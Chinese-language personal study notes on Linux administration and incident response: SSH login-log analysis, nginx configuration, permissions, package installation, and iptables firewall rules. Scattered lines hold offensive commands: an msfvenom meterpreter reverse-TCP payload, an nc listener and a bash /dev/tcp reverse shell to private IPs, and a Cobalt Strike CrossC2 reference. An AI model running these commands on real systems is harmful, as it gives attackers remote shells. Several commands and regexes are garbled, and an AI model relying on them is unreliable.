目前谁在登陆 w
查看设置开启自启动程序: systemctl list-unit-files | grep enabled
实时监听某文件 tail -f
及时发现2分钟内数据变化find /root/ -mmin -2
目录来用存储日志 nginx错误日志/访问日志等 var (/var/log/nginx)
临时/永久关闭防火墙 systemctl stop/enabled firewalld
查询比find效率高 which
查看PHP相关软件包 rqm -qa | grep php
查看服务进程信息 ps -ef|grep php / ps aux | grep iptables
查看服务端口信息 netstat -lntup 筛选 netstat -anp | grep php
查看所有的关于yum的镜像源: yum list all | grep iptables
设置开机自启: systemctl enable iptables.service
搜索文件 which find/php/apache等
查看文件末尾几行 cat /etc/passwd | tail -n 4
kali无法上网参考:https://www.jianshu.com/p/c3512daed318
systemctl restart networking
查看登陆失败
grep -o "Failed password" /var/ log / secure / uniq -c
输出登录爆破的第一行和最后一行,确认爆破时间范围:
grep "Failed password"/var / log / secure | head -1
grep "Failed password" /var/ log / secure | tail -1
筛选出登陆失败的IP
grep "Failed password"/var/log/securel grep -E-o "(25[ 0-5]l2[ 0-4] [0-9]| [01] ? [0-9] [0-9] ?) \.(25[0-5] /2[ 0-4 ] [0-9]I [01] ? [ 0-9][ o-9] ?) \.(25 [ 0-5]|2[0-4 ][ 0-9] I [01] ? [ 0-9] [ 0-9]?) \.(25[0-5] l2 [ o-4][0-9] | [ 01] ? [ 0-9] [0-9]? ) " l uniq -c l sort -nr
登录成功的日期、 用户、IP
rep "Accepted " /var/ log / secure l awk ' { print$1,$2,$3,$9,$11} '
grep "Accepted " /var/log/secure / awk 'iprint $11} 'l sort luniq -c l sort -nr / more
linux自动化查杀
Gsscan自动化查杀
脚本检测 : 木马后门, suid提权, 日志分析是否有爆破登陆,可疑端口
cs中linux也可以进行上线,需要把插件移入cs中并给777权限
借助crossC2项目: netstat -ntulp https://github. com/gloxec/CrossC2
windows自动化查杀
TCPView * 和 processexplorerchs-v16.32 *********** 远程连接进程
pcHunter进行端口 进程 日志 启动项的分析
UserAssistView 在机器上操作的文件记录
logonSessions 链接的会话
Autoruns 官方自带的工具 , 启动项
logfusion6.3.1工具 可以看系统地址 4625登陆失败 4624登陆成功
好用的库或扩展
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.122 LPORT=2333 -e x86/shikata_ga_nai -i 15 -f csharp -o payload.txt
lrzsz : rz上传 --- 可以实现windows和linux系统数据相互传输
bash-completion : 补全代码(装一个爽得很)
cowsay (animalsay): 打印小动物
反弹shell :nc -lvvp 9999 -t -e /bin/bash ---nc瑞士军刀 -l本地监听 -vv详细信息 -p端口 开启本地端口发布出去-----windows可使用 nc.exe ip 9999链接linux
bash直接反弹 :1.bash -i >& /dev/tcp/192.168.1.1/8080 0>&1 2.本地 nc -l -p 8080
firewalld 防火墙与selinux
临时关闭: systemctl stop firewalld
永久关闭: systemctl disable firewalld
selinux: 在某些特定场景限制系统root用户权利
临时关闭: setenforce 0 永久关闭: vi /etc/selinux/config => SELINUX=disabled
文件:
DNS服务配置文件查看: /etc/resolv.conf
本地DNS映射文件: /etc/hosts
开启自动加载程序文件: /etc/rc.local
系统日志文件: /var/log/messages
tail -f --- 实时追踪日志文件信息变化
ls -rt --- 按照时间信息进行反向排序,显示最新改动数据信息
vi : G尾行 gg首页 yy复制 p粘贴 dd删除 u撤销 ctrl+r反撤销 ^首航 $尾行
ser nu/ set nonu 显示/取消行号
tar zcvf /xx : 压缩
tar tf xxx : 检查确认
tar xvf xxx : 解压
zip test.zip test.txt 压缩test.text到test.zip
unzip test.zip -d /root/ 解压zip文件到 /root/下
网卡:
图形方式: nmtui
文件调整: /etc/sysconfig/network-scripts/ifcfg-eth0
检索文件信息内容:
grep "oldboyedu" /etc/services --- 直接将指定信息检索出来
grep "^[a-Z]" /etc/selinux/config
grep -r "oldboy" /root --- 筛选目录中所有文件信息
find /etc/ -type f -size +5M 单位 c k M G +大于多少文件 - 小于多少文件 没有+-正好多大文件
find /root/ -mtime +7
find /root/ -mtime -7
find /root/ -mmin -2 及时发现2分钟内数据变化
系统
版本信息查看: cat /etc/redhat-release
内存信息查看: free -h top
磁盘使用情况: df -h
CPU运行状况: lscpu top
用户登录情况: w ps -ef 查找进程 kill 进程号(PID)
yum优化
查看当前yum源:cat /etc/yum.repos.d/CentOS-Base.repo
curl -o /etc/yum.repos.d/CentOS-Base.repo http://mirrors.aliyun.com/repo/Centos-7.repo
curl -o /etc/yum.repos.d/epel.repo http://mirrors.aliyun.com/repo/epel-7.repo
目录解说 tree -L 1
bin -> usr/bin --- 里面存储的是命令文件信息 二进制文件
usr --- 磁盘发展历史过程中,产生的新的挂载点目录
sbin -> usr/sbin --- 里面存储的是命令文件信息 超级管理员可以执行命令
boot --- 存放系统运行启动文件信息
dev --- 存储设备文件信息
etc*** --- 保存系统服务或者第三方服务程序配置文件
home --- 普通用户家目录
root --- 管理员用户家目录
lib -> usr/lib --- 存放程序服务会加载一些库文件
lib64 -> usr/lib64
mnt --- 临时挂载点目录
opt*** --- 存放第三方程序安装数据信息
proc --- 内核文件信息 进程文件 系统状态信息 --- 可以用于优化系统/提升安全性
此目录中存储数据信息都是默认存储在内存中
tmp --- 临时目录 临时存储数据信息(不太重要) 充当回收站
var --- 存储经常变化的数据信息 日志文件
ngninx配置解析
1.基础
server {
listen 80; 指定服务监听端口信息 用于接收用户访问请求
server_name xxxx.com; 指定网站域名信息
root /html/www; 指定服务站点目录
index index.html; 指定首页文件信息 会进行默认加载
}
2.编写共享网站配置信息
server {
listen 80;
server_name share.xxxx.com;
root /html/share;
autoindex on;
}
nginx.conf主配置文件中:
include /etc/nginx/mime.types; --- 媒体资源类型文件,识别用户想访问资源信息
default_type application/octet-stream; --- 未知文类型或默认识别为application/octet-stream
默认加载识别为octet-stream类型文件,会直接进行下载
3.可以根据用户地址信息进行访问控制
决绝访问会显示403错误状态码
server {
listen 80;
server_name share.xxxx.com;
root /html/share;
autoindex on;
charset utf-8;
location /内部资源/ {
allow 10.0.0.1;
deny all;
}
}
4.可以根据用户登陆信息进行访问控制
第一个历程:编写配置文件信息
server {
listen 80;
server_name share.xxxx.com;
root /html/share;
autoindex on;
charset utf-8;
location /内部资源/ {
allow 10.0.0.1;
deny all;
}
location /收费资源VIP/ {
auth_basic "高管登录认证"; --- 开启认证功能
auth_basic_user_file /etc/nginx/password.txt; --- 指定加载一个用户密码文件
}
}
第二个历程:生成密码文件
yum install -y httpd-tools
htpasswd -c /etc/nginx/password.txt oldboy --- 设置用户密文密码信息
第三个历程:进行认证测试访问
5.实现网站服务监听(有工具比这个更好)
server {
listen 80;
server_name www.xxxx.com;
root /html/www;
index index.html;
location /status/ {
stub_status; --- 开启监控平台页面
}
}
6.让nginx和php建立关系
server {
listen 80 default_server;
server_name bbs.oldboy.com;
root /html/bbs;
index index.php index.html;
location ~ .phpdocument_root$fastcgi_script_name; --- 可以精准告知PHP需要处理文件路径信息
include fastcgi_params;
}
}
日志
error.log --- 记录网站服务运行或者访问过程中错误信息
access.log --- 记录访问者访问信息
① 记录客户端IP地址
② 记录认证登录用户信息
③ 客户端访问网站时间信息
④ 获取访问网站请求方法和请求资源 和安全有关
⑤ 状态信息
⑥ 访问过程消耗的网站流量
⑦ 记录访问此页面是通过哪个网站进行引流转发的
⑧ 客户端利用什么软件在访问网站服务
日志分析工具
基础权限
提权操作
root用户操作: visudo == vi /etc/sudoers
root ALL=(ALL) ALL
oldboy ALL=(ALL) /usr/sbin/useradd, /usr/bin/vi /etc/sysconfig/network-scripts/ifcfg-eth0
01. 直接查看已有权利 sudo -l
02. 赋予权利可以免密码执行特性操作 oldboy ALL=(ALL) NOPASSWD: /usr/sbin/useradd, /usr/bin/vi /etc/sysconfig/network-scripts/ifcfg-eth0
除了rwx还有特殊权限: setuid setgid 粘滞位
setuid 对于命令文件赋予特殊权限
让所有用户可以拥有属主用户能力
赋予setuid方式:
chmod u+s
setgid 对于命令文件赋予特殊权限
让所有用户组可以拥有属组权限能力
chmod g+s
粘滞位:
将一些设置共享权限目录赋予粘滞位, 会让共享数据用户只能管理自己的数据
对于其他人的数据只能进行查看, 不能删除或者重命名操作
chmod o+t /目录/
主u(root) -> 组g (group) -> 其它用户o(othre)
chmod操作 : r:4 w:2 x:1 -:0
给予权限 : chmod 777 或 chmod (u/g/o) (+/-/=r) 目录 给其它用户 (添加/删除/只有)读权限
/etc/passwd --- 记录整个系统中所有用户信息
/etc/shadow --- 记录整个系统中所有用户密码信息
4种软件部署方式
- 利用yum方式安装 apt-get
特点说明:
1)需要连接外网
2)软件下载并安装
3)可以解决软件依赖
yum install -y vim telnet
yum reinstall -y vim telnet
yum remove/erase vim telnet 慎用
yum search/provides 命令信息或文件信息 获取软件包名称信息/验证软件包是否存在
- 利用rpm方式安装
lrzsz (需装改扩展)
特点说明:
1)无法解决依赖问题
2)可以不用连接外网
第一个历程:需要下载好软件程序包
第二个历程:将下载好的程序包放入到系统中
rz -y --- 加载需要上传的数据 上传过程
sz -y oldboy.txt --- 下载需要保存数据信息 下载过程
3.编译安装程序
第三种方式:编译安装程序
特点说明:
1)无法解决依赖问题
2)可以不用连接外网
3)可以定制化安装软件程序 ***
第一个历程:需要下载好程序包(压缩包)/解压程序包
第二个历程:进入到解压后的程序目录
第三个历程:进行软件部署配置过程 开启功能/指定程序保存目录
第四个历程:编译过程 翻译 (软件程序代码信息翻译后让系统识别代码)
第五个历程:编译安装过程
4.编译安装程序
特点说明:
1)安装部署过程方便
2)无法解决依赖问题
3)无需连接外网环境
nginx程序:
第一种方式:yum安装软件程序
yum install -y nginx
第二种方式:采用编译方式安装
第一个历程:下载软件程序源码包
wget http://nginx.org/download/nginx-1.18.0.tar.gz
第二个历程:需要解决软件依赖问题
yum install -y pcre-devel openssl-devel
第三个历程:解压软件程序/进行配置过程
cd nginx
useradd -M -s /sbin/nologin nginx (用户不存在 可以创建出来)
./config
--prefix=PATH --- 指定安装程序数据保存目录
--user=USER --- 管理服务进程用户(虚拟用户)信息
--with-http_ssl_module --- 表示开启了https访问能
--with-http_stub_status_module --- 表示开启nginx服务状态监控功能
第四个历程: 编译过程
make
第五个历程: 编译安装
make install
启动服务程序:进行测试
方式一:yum安装软件启动服务
systemctl start nginx
方式二:编译安装需要使用命令脚本
/app/nginx/sbin/nginx --- 启动程序
==============================================
网站服务启动之后。无法访问页面排查方法:
1)确认服务运行状态
2)确认服务网络配置
ping 10.0.0.100
telnet 10.0.0.100 80
3)可以在命令行测试页面
curl -I 10.0.0.100
==============================================
05. 网站服务目录结构:
1)配置文件所在目录
/etc/nginx nginx.conf conf.d/xxx.conf --- yum安装软件配置目录
/app/nginx/conf/ nginx.conf --- 编译安装软件配置目录
2)站点目录所在位置 (图片 音频 视频 代码文件)
/usr/share/nginx/html/ --- 默认网站站点目录
3)网站日志文件保存目录
/var/log/nginx --- 程序日志文件信息
防火墙服务概念介绍
1.主机与主机之间通讯过程,数据包传递方式
主机A --->
数据信息
传输层头部信息 (TCP UDP 源端口 :目标端口)+ 数据信息
网络层头部 (IP 源IP:目标IP) 传输层头部+数据信息
链路层头部 (源mac:目标mac) 网络层头部+传输层头部+数据信息
物理层 将所有数据信息转换为二进制信息 01010101011101
网卡(网线) 将0信号变为低电压传递 1信号高电压
主机B <---
网卡(网线) 将电信号转为二进制信息
物理层 将二进制信息转换成数据包
链路层 源mac:目标mac 是不是自己本地主机上的mac地址
网络层 源IP:目标IP 是不是自己本地主机上的IP地址
传输层 源端口:目标端口
查看到数据信息 处理响应
2.Iptables是什么?
开源的基于数据包过滤的防火墙工具,实现数据的流入与流出控制
Iptables主要工作在OSI七层的二(链路层-很少关注)、三(网络层)、四(传输层)层,如果重新编译内核,
Iptables也可以支持7层控制(squid代理+iptables)。
===========================================================================
iptables使用原则:
1)用户并发访问量不大时 使用软件防火墙即可
2)用户并发访问量较高时 使用硬件防火墙
===========================================================================
容器概念:装东西器皿
iptables程序容器:表概念-- 防护墙中的表拥有不同的功能策略 ??? 包过滤
表容器: 链概念-- 控制数据包处理方式 ?? 进入包进行过滤
链容器: 策略概念 -- 不同配置信息 s 10.0.0.1地址 阻止/允许
s 11.0.0.1地址 阻止/允许
表和链概念:四表五链
Filter:这是默认表, 实现数据过滤处理
INPUT: 流量进入时,进行处理方式
OUTPUT: 流量出去时,进行处理方式
FORWARD:留经网卡流量
NAT:当遇到新创建的数据包连接时将参考这个表, 会将数据进行映射转换
源IP地址:10.0.0.1 局域网识别有效 --- 互联网 172.16.0.1
目标IP地址:172.16.0.1 局域网识别有效 --- 局域网 10.0.0.1
端口映射转换: 9000 --> 80
地址转换原因:IP地址是有限的 0.0.0.0 ~ 255.255.255.255 40+亿
IP地址重复使用 只有少部分可以重复使用 私网地址/公网地址
OUTPUT: 自身产生的流量在出去时,做映射转换
PREROUTING: 经过数据流量,在进入时做映射转换
POSTROUTING: 经过数据流量,在出去时做映射转换
Managle:可以将数据包信息进行修改调整
raw: 将数据包某些标记信息进行拆解
04. 防火墙工作原理说明 filter表工作原理
工作流程小结:
1. 防火墙是层层过滤的,实际是按照配置规则的顺序从上到下,从前到后进行过滤的。
2. 如果匹配上规则,即明确表示是阻止还是通过,数据包就不再向下匹配新的规则。
3. 如果规则中没有明确表明是阻止还是通过的,也就是没有匹配规则,向下进行匹配,直到匹配默认规则得到明确的阻止还是通过。
4. 防火墙的默认规则是所有规则执行完才执行的。
05. 防火墙服务部署过程
yum install iptables-services
systemctl start iptables.service
[root@oldboy123 ~]# iptables -nL
Chain INPUT (policy ACCEPT)
target prot opt source destination
ACCEPT all -- 0.0.0.0/0 0.0.0.0/0 state RELATED,ESTABLISHED
ACCEPT icmp -- 0.0.0.0/0 0.0.0.0/0
ACCEPT all -- 0.0.0.0/0 0.0.0.0/0
ACCEPT tcp -- 0.0.0.0/0 0.0.0.0/0 state NEW tcp dpt:22
REJECT all -- 0.0.0.0/0 0.0.0.0/0 reject-with icmp-host-prohibited
Chain FORWARD (policy ACCEPT)
target prot opt source destination
REJECT all -- 0.0.0.0/0 0.0.0.0/0 reject-with icmp-host-prohibited
Chain OUTPUT (policy ACCEPT)
target prot opt source destination
拒绝 10.0.0.10/24 访问主机22端口
允许 10.0.0.0/24 访问主机22端口
06. 防火墙服务应用方法
iptables命令基本用法:
查看信息用法:
iptables -n -L --- L列表显示相应表策略信息 n 尽量信息以数值方式显示
iptables -n -L -t 表名 --- 具体查看每个表配置信息
iptables -nL -v --- 显示详细配置规则信息
iptables -nL --line-number --- 查看规则序号信息
初始化清除操作:
默认配置信息,旧的配置信息
[root@A ~]# iptables -F # 清空规则,但不会删除默认规则
-F #<==清除一个链或所有链上的规则
[root@A ~]# iptables -Z # 清空防火墙计数器 可以用于排错
-Z #<==链的记数器清零
[root@A ~]# iptables -X # 清空自定义规则
-X #<==删除用户自定义的链
方法一:利用防火墙实现数据包过滤
eg01:禁止外网用户访问服务22端口 基于四层进行过滤处理
iptables -t filter -A INPUT -p tcp --dport 22 -j DROP 添加规则
iptables -t filter -D INPUT 序号 添加规则
iptables -t filter -A OUTPUT -p tcp --sport 22 -j DROP 添加规则
eg02:只禁止10.0.0.1访问22端口 基于三层和四层进行过滤
iptables -t filter -A INPUT -s 10.0.0.1 -p tcp --dport -j DROP
iptables -t filter -A OUTPUT -d 10.0.0.1 -p tcp --sport -j DROP
iptables -t filter -A INPUT -s 10.0.0.0/24 -d 172.16.0.0/24 DROP
eg03:实现禁止ping
双方向禁ping
iptables -t filter -A INPUT -p icmp -j DROP 彻底实现了禁止ping过程
单反向禁ping
iptables -A INPUT -p icmp --icmp-type 8 -j DROP 禁止windows ping linux
iptables -A OUTPUT -p icmp --icmp-type 8 -j DROP 禁止linux ping windows
icmp协议说明:
8类型是请求icmp包
0类型是响应icmp包
禁止windows --- linux linux上配置禁止icmp8类型包进来
eg04:禁止多个端口不能访问
多端口进行规则配置:
方式一:连续多端口进行阻止
iptables -A INPUT -p tcp --dport 23:80 -j DROP
方式二:间隔多端口进行配置
iptables -A INPUT -p tcp --dport 23,25,80 -j DROP
iptables -A INPUT -m multiport -p tcp --dport 23,25,80 -j DROP
eg05:如何调整规则顺序
iptables -I INPUT -p tcp --dport 22 -j DROP --- 将指定插入到某个规则之上 或直接插入到第一条规则
-t -A -D -I -s -d -p --dport --sport -j -m
eg05:默认规则修改
默认规则修改为: ACCEPT 链规则采用黑名单
默认规则修改为: DROP 链规则采用白名单 最安全
iptables -P INPUT DROP
11:45 ~ 12:00 休息15分钟
方法二:利用防火墙实现数据包映射
1)将拥有内网IP地址主机 实现访问互联网
第一个历程:配置内网地址网卡信息
网卡地址:172.16.1.10/24
网关地址:172.16.1.201
DNS地址: 223.5.5.5
第二个历程:开启防火墙服务器转发功能
vi /etc/sysctl.conf
net.ipv4.ip_forward = 1
sysctl -p --- 加载系统内核配置
第三个历程:配置防火墙NAT功能实现内网访问外网
iptables -t nat -A POSTROUTING -s 172.16.1.10 -o eth0 -j SNAT --to-source 10.0.0.200
2)实现外网主机可以访问内网服务
iptables -t nat -A PREROUTING -d 10.0.0.200 -p tcp --dport 9000 -j DNAT --to-destination 172.16.1.10:3389
10.0.0.200 9000 === 172.16.1.10 3389
总结:将iptables命令参数进行熟悉
PS:防火墙配置完毕后,一定要保存配置
iptables-save >/etc/sysconfig/iptables
第一步:开启kail 远程ssh,开启办法如下:
修改sshd_config文件,命令为:vi /etc/ssh/sshd_config
将#PasswordAuthentication no的注释去掉,并且将NO修改为YES //kali中默认是yes
将PermitRootLogin without-password修改为PermitRootLogin yes
然后,保存,退出vi